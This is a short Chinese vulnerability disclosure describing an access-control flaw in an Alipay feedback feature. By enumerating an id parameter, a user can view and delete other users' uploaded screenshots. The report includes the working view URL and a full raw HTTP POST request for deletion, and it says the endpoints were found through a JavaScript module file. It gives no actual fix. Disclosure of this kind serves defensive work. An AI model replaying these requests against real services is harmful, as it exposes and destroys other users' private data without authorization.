支付宝某功能存在用户越权访问可查看及删除其他用户的问题反馈
支付宝提交建议处存在用户越权访问,通过遍历id可查看及删除其他用户反馈的截图
---------------------------------------
越权访问:
https://egg.alipay.com/index.php?r=attachment/ViewPicture&id=28449 (id可遍历)
越权删除:
POST /index.php?r=attachment/delete HTTP/1.1
Host: egg.alipay.com
Connection: keep-alive
Content-Length: 35
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://egg.alipay.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://egg.alipay.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: 登陆支付宝后的cookie
id=28446&sec_token=2d30379xxxxxx (同样是修改id参数)
这URL怎么找到的?YII框架
https://egg.alipay.com/js/modules.js 这js文件基本把整个网站框架给画出来了,只是大多没权限访问。
修复方案:
这粗壮的JS文件我已经看到眼晕了!